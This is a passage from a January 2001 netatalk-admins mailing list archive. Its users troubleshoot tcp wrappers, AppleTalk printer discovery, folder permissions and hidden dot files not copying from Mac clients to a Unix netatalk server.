> On most installations, there is an rc script which starts atalkd, afpd,
> and papd.
> 
> 	Andy
-- 
///////////////////////////////////
Steve Devine
Information Technology Professional
MSU Computer Laboratory
phone: (517) 355-4500 x242
fax: (517) 353-9847
/////////////////


From netatalk.administrators-errors@umich.edu  Wed Jan 17 15:46:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA22611
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 15:46:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA18859
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 15:46:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA18840
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 15:46:50 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA18771
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 15:46:48 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id MAA14235;
	Wed, 17 Jan 2001 12:46:44 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Wed, 17 Jan 2001 12:46:44 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Steve Devine <sdevine@msu.edu>
cc: <netatalk-admins@umich.edu>
Subject: Re: tcpwrappers & inetd.conf
In-Reply-To: <0101171418590A.06936@jax>
Message-ID: <Pine.LNX.4.30.0101171245140.22437-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 17 Jan 2001, Steve Devine wrote:

> Thanks for your quick response. Am I to leave the entry in services file? This
> seems less than usefull without inetd calling afpd. I have compiled netatalk
> with tcp wrappers support .. in the Makefile there is this reference to
> tcpwrappers :
> # Location of the tcp wrapper library and include files. Comment this out
> # if you don't want tcp wrapper support. having tcp wrapper support is
> # highly recommended.
> TCPWRAPDIR=/usr/local/tcp_wrappers
> I assume this to mean the directory that contains the source code.  I have
> tried this sixteen ways to sunday an I have yet to be able to control access
> via hosts.allow
> BTW:
>  netatalk seems happy to compile regardless of what I put under the tcpwrapdir=

You should leave the entries in /etc/services, although I'm not sure what
they are used for.  You can check to see if afpd is linked against the
tcp-wrappers libraries by typing "ldd afpd".  Check that it says "libwrap"
in the list.

	Andy


From netatalk.administrators-errors@umich.edu  Wed Jan 17 15:47:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA22700
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 15:47:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24943
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 15:47:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24914
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 15:47:35 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA24852
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 15:47:31 -0500 (EST)
Received: from n164-38.berlin.snafu.de ([195.21.164.38] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.14 #1)
	id 14IzUV-0002uq-00
	for netatalk-admins@umich.edu; Wed, 17 Jan 2001 21:47:35 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id VAA25021
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 21:46:33 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Is it a Zone problem ?
Date: Wed, 17 Jan 2001 21:34:22 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.LNX.4.21.0101171442450.17861-100000@cpa227.ups-tlse.fr>
In-Reply-To: <Pine.LNX.4.21.0101171442450.17861-100000@cpa227.ups-tlse.fr>
MIME-Version: 1.0
Message-Id: <01011721463300.24709@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA22700

On Wed, 17 Jan 2001, Deepak Gupta wrote:
> I have ibook (blue) with MacOS and Apple Personal Laser NTR.
> But I'm love of Linux, so I have SuSe Linux on ibook with 
> netetalk running. ibook do not have any apple/parellel/serial port so to
> use the printer I have Farallon EtherMac Printer adapter, which connect
> to Ethernet port on ibook, and Appletalk port on Printer. 
> Everything works fine with ibook running MacOS, and I use printer
> without any problem.
> 
> But my favourite linux has problem. After setting Netatalk, by 
> following the various hints from Web etc. 
> Running nbplkup gives
> [root@linux /root]# nbplkup             
>                          linux:AFPServer   65280.200:128
>                          linux:netatalk    65280.200:4
>                          linux:Workstation 65280.200:4
> 
> But do not shows any Printer entry.
> 
> And getzone gives
> [root@linux /root]# getzones
> atp_rresp: Connection timed out
> 
> Many people seems to get this getzone response on Single Zone
> network, but some are not (As I get to know by browsing mailing list).
> I will also don't bother about it, if my printer works. 
> 
> I am Guessing following problems (but don't know solutions).
> 
> 1) Printer is on a zone differnet from that of default, and hence
> nbplkup do not shows it. As getzones fails, I can't even find out
> that if there exist a zone other than default (and what's its name).
> But if this is the problem, why things work with MacOS ? And how 
> to confirm it and correct it, finaly, on linux?
> 
> 2) Do I need to do something `special' to see the printer across
> Farallon Adapter ? (But as I remember I never did anything special
> to make it run under MacOS. It just worked!) If yes, What ?
> 
> 3) Rare possibility, but I need to define the printer's Name/Zone
> somewhere. But where and how ?
> 
> 4) Something else ......
> 
> Please HELP. Your help will prevent me to reboot the machine in MacOS to
> just take the printouts.

Seems I had exactly the same problem.
Bringing the Ethernet interface of my linux box into promiscous mode solved my problem.

Typing
/sbin/ifconfig eth0 promisc
will do this.

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Wed Jan 17 16:37:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA24421
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 16:37:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA15400
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 16:37:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA15376
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 16:37:17 -0500 (EST)
Received: from schilling.ucdavis.edu (schilling.ucdavis.edu [169.237.105.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA15293
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 16:37:15 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-2-54.ucdavis.edu [169.237.16.182])
	by schilling.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f0HLb9C17479;
	Wed, 17 Jan 2001 13:37:10 -0800 (PST)
Message-Id: <5.0.2.1.0.20010117133339.03752c60@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 17 Jan 2001 13:35:09 -0800
To: Alex King <alex@milton.king.net.nz>, netatalk-admins@umich.edu
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: FAQ
In-Reply-To: <20010117084950.A12737@milton.king.net.nz>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

There is one in progress which you may add to, though I don't think it 
includes all the topics you mentioned here.  It's a link off of 
http://www.sourceforge.net/projects/netatalk.

At 08:49 AM 1/17/01 +1300, Alex King wrote:
>Is there a reasonably up to date FAQ around?  I am thinking of
>questions I have seen on the list lately re. Compiling, Permissions
>problems, file locking, availability etc.
>
>If not would anyone be interested if I compiled one and posted it to
>the list periodically?
>
>I don't have a lot of time to do basic research, but I could have a
>list of unanswered questions and grab usefull answers off the list.  I
>certainly am not a netatalk expert, but I admin a few systems running
>netatalk. My users would benefit from me having a bit more knowledge
>abut netatalk, and I imagine compiling a FAQ will help me learn :-)
>
>This is just a toe in the water to test reactions.
>
>PS. If there is already someone maintaining a FAQ, please accept my
>apologies (and point me in the right direction)


From netatalk.administrators-errors@umich.edu  Wed Jan 17 16:45:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA24814
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 16:45:00 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27189
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 16:44:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27149
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 16:44:54 -0500 (EST)
Received: from franc.ucdavis.edu (franc.ucdavis.edu [169.237.105.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA27093
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 16:44:52 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-2-54.ucdavis.edu [169.237.16.182])
	by franc.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f0HLit019291
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 13:44:55 -0800 (PST)
Message-Id: <5.0.2.1.0.20010117134024.00a58610@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 17 Jan 2001 13:42:29 -0800
To: netatalk-admins@umich.edu
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: "don't have enough privileges to create folder" error
  (attn: mailing list admin!!)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

I'm not sure if this was caused by a typo from the mailing list or from 
some individual.  Nevertheless, this is what I tried to post a moment ago...

>X-POP3-Rcpt: itlm019@ike
>Date: Wed, 17 Jan 2001 13:37:10 -0800 (PST)
>From: Mail Delivery Subsystem <MAILER-DAEMON@schilling.ucdavis.edu>
>To: <itlm019@mailbox.ucdavis.edu>
>Subject: Returned mail: see transcript for details
>Auto-Submitted: auto-generated (failure)
>
>The original message was received at Wed, 17 Jan 2001 13:37:06 -0800 (PST)
>from iras-2-54.ucdavis.edu [169.237.16.182]
>
>    ----- The following addresses had permanent fatal errors -----
><netatalk-admins@umich.deu>
>     (reason: 550 Host unknown)
>
>    ----- Transcript of session follows -----
>550 5.1.2 <netatalk-admins@umich.deu>... Host unknown (Name server: 
>umich.deu: host not found)
>Reporting-MTA: dns; schilling.ucdavis.edu
>Received-From-MTA: DNS; iras-2-54.ucdavis.edu
>Arrival-Date: Wed, 17 Jan 2001 13:37:06 -0800 (PST)
>
>Final-Recipient: RFC822; netatalk-admins@umich.deu
>Action: failed
>Status: 5.1.2
>Remote-MTA: DNS; umich.deu
>Diagnostic-Code: SMTP; 550 Host unknown
>Last-Attempt-Date: Wed, 17 Jan 2001 13:37:10 -0800 (PST)
>Return-Path: <itlm019@mailbox.ucdavis.edu>
>Received: from prometheus.mailbox.ucdavis.edu (iras-2-54.ucdavis.edu 
>[169.237.16.182])
>         by schilling.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id 
> f0HLb5C17451;
>         Wed, 17 Jan 2001 13:37:06 -0800 (PST)
>Message-Id: <5.0.2.1.0.20010117133043.0377ac10@127.0.0.1>
>X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
>X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
>Date: Wed, 17 Jan 2001 13:33:17 -0800
>To: chad@objectwerks.com, netatalk-admins@umich.deu
>From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
>Subject: Re: "don't have enough privileges to create folder" error
>Cc: chad@objectwerks.com
>In-Reply-To: <414898715.979667442@[192.168.99.123]>
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"; format=flowed
>
>Usually directories designated for use with AppleShare have the setgid 
>(g+s) bit set.  It forces inheritance of permissions.  Without it, the 
>.AppleDouble subdirectory can't be created since the new folder doesn't 
>necessarily have the same write privileges.
>
>At 05:50 PM 1/16/01 -0500, Chad Leigh, Objectwerks, Inc. wrote:
>>Hi
>>
>>This appears more complicated than the title suggests.  I looked at the 
>>FAQ on sourceforge.net and the question that appears to be the same as 
>>mine but the solution did not solve it.
>>
>>I try and create a folder anywhere in my share and it says I can't 
>>because I don't have enouhg privileges but idoes it anyway.  The user I 
>>am logging in as has complete rights to the files and folders  listed in 
>>the share, including user and group r+w+x privilege.
>>
>>I try and copy in a folder from the Mac and it creates the folder but 
>>then says that it has no rights to create the first file contained in 
>>that folder and quits.
>>
>>I have 1.42+asun version on FreeBSD 4.2.
>>
>>I have a share that is owned by user "chad" group "staff".  Here is the 
>>configuration in the AppleVolumes.default file in /usr/local/etc
>>
>>/mirror1/companies  "Company Data" options=crlf
>>
>>megumi# cd /mirror1/companies/
>>megumi# ls -al
>>total 14
>>drwxrwx---  14 chad  staff  512 Jan 16 15:41 .
>>drwxrwx---   8 root  wheel  512 Jan  8 20:39 ..
>>drwxrwx---   6 chad  staff  512 Jan  6 18:38 .AppleDesktop
>>drwxrwx---   2 chad  staff  512 Jan  6 18:30 .AppleDouble
>>drwxrwx---   4 chad  staff  512 Jan 16 14:05 Applications
>>drwxrwx---   5 chad  staff  512 Jan  6 18:39 Leigh America Company
>>drwxrwx---   3 chad  staff  512 Jan 16 15:28 Network Trash Folder
>>drwxrwx---   4 chad  staff  512 Jan  6 18:22 Shire.Net LLC
>>drwxrwx---   3 chad  staff  512 Jan  6 18:19 TheFindByContentFolder
>>drwxrwx---   3 chad  staff  512 Jan  6 18:20 TheVolumeSettingsFolder
>>drwxrwx---   3 chad  staff  512 Jan 16 15:24 untitled folder
>>drwxrwx---   3 chad  staff  512 Jan 16 15:28 untitled folder 1
>>drwxrwx---   3 chad  staff  512 Jan 16 15:28 untitled folder 2
>>drwxrwx---   3 chad  staff  512 Jan 16 15:41 untitled folder 3
>>
>>I am logging in as user "chad" which has a default group "staff" in the 
>>passwd file on the FreeBSD box.
>>
>>Using ps -aux I list 3 afpd, two running as user "chad" (from 2 macs" and 
>>one as root which I assume is the one listed as "LISTEN" when I do a 
>>netstat -a.
>>
>>When all the files were listed as
>>
>>drwxr-xr-x it didn't work either.
>>
>>The console is giving me the message:  afpd[blah]: setdirmode: chmod 
>>.AppleDouble"Operation not permitted
>>
>>I check all the .AppleDouble folders and they are all owned by the same 
>>user / group chad:staff as is the user logging in and they are all 
>>rwxrwx--- (also tried rwxr-xr-x) so I don't know what operation is not 
>>permitted on which .AppleDouble since the user is all correct as far as I 
>>can tell.
>>
>>I am stuck and don't know what I can do and cannot find any documentation 
>>or anything that gives me more enlightenment.  Anyone care to give me a hand?
>>
>>Thanks
>>Chad
>


From netatalk.administrators-errors@umich.edu  Wed Jan 17 16:46:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA24942
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 16:46:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA03271
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 16:46:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA03242
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 16:46:47 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA03179
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 16:46:46 -0500 (EST)
Received: (qmail 1876 invoked by uid 500); 17 Jan 2001 21:46:43 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14950.4802.985600.180758@h0050da615e79.ne.mediaone.net>
Date: Wed, 17 Jan 2001 16:46:42 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Basil Hussain <basil.hussain@specialreserve.net>
Cc: Netatalk List <netatalk-admins@umich.edu>
Subject: Hidden Files Not Being Copied
In-Reply-To: <B689F74B.27D7%basil.hussain@specialreserve.net>
References: <B689F74B.27D7%basil.hussain@specialreserve.net>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Basil Hussain <basil.hussain@specialreserve.net>
   Date: Tue, 16 Jan 2001 13:04:11 +0000

   I duplicated (i.e. Apple-D, not a copy) a whole folder, but discovered that
   hidden files (i.e. anything starting with a dot) were not copied! For
   example, this folder contained two hidden files, .htaccess and .htpasswd -
   they hadn't been copied in the duplication!

   Would this be a problem at the MacOS client end (MacOS 9.0.4), or something
   to-do with Netatalk (netatalk 1.4.99-20001108)?

This is more or less a feature of netatalk, in that it keeps the hidden
files hidden from the Macs.  Otherwise, ".", "..", and ".AppleDouble"
would be problematic; you might get .AppleDouble directories in your
.AppleDouble directories . . .

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Thu Jan 18 03:40:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA10687
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 03:40:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA22935
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 03:40:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA22902
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 03:40:28 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA22867
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 03:40:26 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Thu, 18 Jan 2001 08:40:23 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 18 Jan 2001 08:40:22 +0000
Subject: Re: Hidden Files Not Being Copied
From: Basil Hussain <basil.hussain@specialreserve.net>
To: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
CC: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B68C5C76.29B2%basil.hussain@specialreserve.net>
In-Reply-To: <14950.4802.985600.180758@h0050da615e79.ne.mediaone.net>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

> This is more or less a feature of netatalk, in that it keeps the hidden
> files hidden from the Macs.  Otherwise, ".", "..", and ".AppleDouble"
> would be problematic; you might get .AppleDouble directories in your
> .AppleDouble directories . . .

Yes, I agree - if it's hidden, it should be hidden and the .AppleDouble
directories need to be handled transparently and not copied - to do so would
mess things up a fair bit, I would imagine. But, still, if it is Netatalk
choosing not to copy *other* 'dot' files or directories upon a duplication
of the containing directory, then this is plainly not correct!

Anyway, I was thinking about this and (unless anyone who knows Netatalk can
tell me the real answer) I've come to the conclusion that it's probably not
Netatalk's fault.

In my experience, MacOS is quite dumb when it comes to some things, and
thinking about the way it probably works leads me to imagine that when you
initiate a duplication of a directory (or just a straight copy) MacOS
recursively traverses the directory structure and tells the underlying
filesystem - in this case, Netatalk - to individually copy each file. But,
as at the MacOS end it doesn't even *know* about any hidden files, it won't
tell the filesystem to copy them. So basically, if you can't see it, you
can't copy it.

But, as I said, I might be wrong. Really, the base of this problem really
stems from the clash between MacOS having no notion of hidden files and UNIX
systems making prolific use of them. Ah, well...

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)

P.S. By the way, what is the difference between a duplication and a copy?
All I know is that you can duplicate the folder of something like WebSTAR
whilst it's running, but not copy it)


From netatalk.administrators-errors@umich.edu  Thu Jan 18 06:39:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA14058
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 06:39:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA25501
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 06:39:43 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA25472
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 06:39:43 -0500 (EST)
Received: from tsmtp3.ldap.isp ([195.235.113.141])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA25408
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 06:39:41 -0500 (EST)
Received: from cubeship.borgspace.alpha ([213.97.106.73]) by
          tsmtp3.ldap.isp (Netscape Messaging Server 4.15) with ESMTP id
          G7CW8H07.QMO; Thu, 18 Jan 2001 12:36:17 +0100 
Received: from tangy.borgspace.alpha ([10.0.0.3] helo=tangy)
	by cubeship.borgspace.alpha with smtp (Exim 3.12 #1 (Debian))
	id 14JDPY-00027R-00; Thu, 18 Jan 2001 12:39:24 +0100
Date: Thu, 18 Jan 2001 12:39:12 +0100
From: Jason Quigley <jasonq@usa.net>
Reply-To: jasonq@usa.net
Content-Type: text/plain;
	charset=us-ascii
Subject: Re: Hidden Files Not Being Copied
Cc: Netatalk List <netatalk-admins@umich.edu>
To: Basil Hussain <basil.hussain@specialreserve.net>
Message-Id: <E14JDPY-00027R-00@cubeship.borgspace.alpha>
Mime-Version: 1.0
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id GAA14058


On Thursday, January 18, 2001, at 09:40 AM, Basil Hussain wrote:

>  
> In my experience, MacOS is quite dumb when it comes to some things, and 
> thinking about the way it probably works leads me to imagine that when you 
> initiate a duplication of a directory (or just a straight copy) MacOS 
> recursively traverses the directory structure and tells the underlying 
> filesystem - in this case, Netatalk - to individually copy each file. But, 
> as at the MacOS end it doesn't even *know* about any hidden files, it won't 
> tell the filesystem to copy them. So basically, if you can't see it, you 
> can't copy it. 
>

MacOS is not dumb at all about this. What it's doing makes perfect sense! Files beginning with a dot on MacOS are normally considered to be disk driver files. You can't see these files and copying them to your hard drive could cause problems later.

>  
> But, as I said, I might be wrong. Really, the base of this problem really 
> stems from the clash between MacOS having no notion of hidden files and UNIX 
> systems making prolific use of them. Ah, well... 
>  

MacOS does have a notion of hidden files. They are simply called invisible files. Based on what you're saying, it could be said that the problem stems from UNIX systems having no notion of forked files. If they did, then a Mac file server on UNIX would be much easier to implement.


Cheers,
Jason.

From netatalk.administrators-errors@umich.edu  Thu Jan 18 08:42:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA16752
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 08:42:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA18692
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 08:42:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA18670
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 08:42:07 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA18521
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 08:42:02 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Thu, 18 Jan 2001 13:41:58 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 18 Jan 2001 13:41:56 +0000
Subject: Re: Hidden Files Not Being Copied
From: Basil Hussain <basil.hussain@specialreserve.net>
To: <jasonq@usa.net>
CC: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B68CA324.29DF%basil.hussain@specialreserve.net>
In-Reply-To: <E14JDPY-00027R-00@cubeship.borgspace.alpha>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

> MacOS is not dumb at all about this. What it's doing makes perfect sense!
> Files beginning with a dot on MacOS are normally considered to be disk driver
> files. You can't see these files and copying them to your hard drive could
> cause problems later.

Ah, I see. I didn't know about 'disk driver' files. So what you're saying is
that MacOS knows 'dot' are there, but it doesn't copy them because it thinks
they're something else.

> MacOS does have a notion of hidden files. They are simply called invisible
> files. Based on what you're saying, it could be said that the problem stems
> from UNIX systems having no notion of forked files. If they did, then a Mac
> file server on UNIX would be much easier to implement.

Yes, you could put it that way as well... :) I suppose an implementation of
forked files is why Windows NT4/2000 has always had AppleTalk file sharing,
as the NTFS filesystem also has 'streams', as MS call them.

So anyway, I'll just have to continue to copy my .htaccess and .htpasswd
files in a command prompt on the Netatalk server, as this is really neither
a Netatalk or MacOS problem.

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Thu Jan 18 09:46:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA18624
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 09:46:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA29051
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 09:46:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA29026
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 09:46:51 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA28984
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 09:46:49 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f0IEia722601;
	Thu, 18 Jan 2001 09:44:36 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A67012F.CA73CB91@mail.iowna.com>
Date: Thu, 18 Jan 2001 09:43:59 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Basil Hussain <basil.hussain@specialreserve.net>
CC: jasonq@usa.net, Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Hidden Files Not Being Copied
References: <B68CA324.29DF%basil.hussain@specialreserve.net>
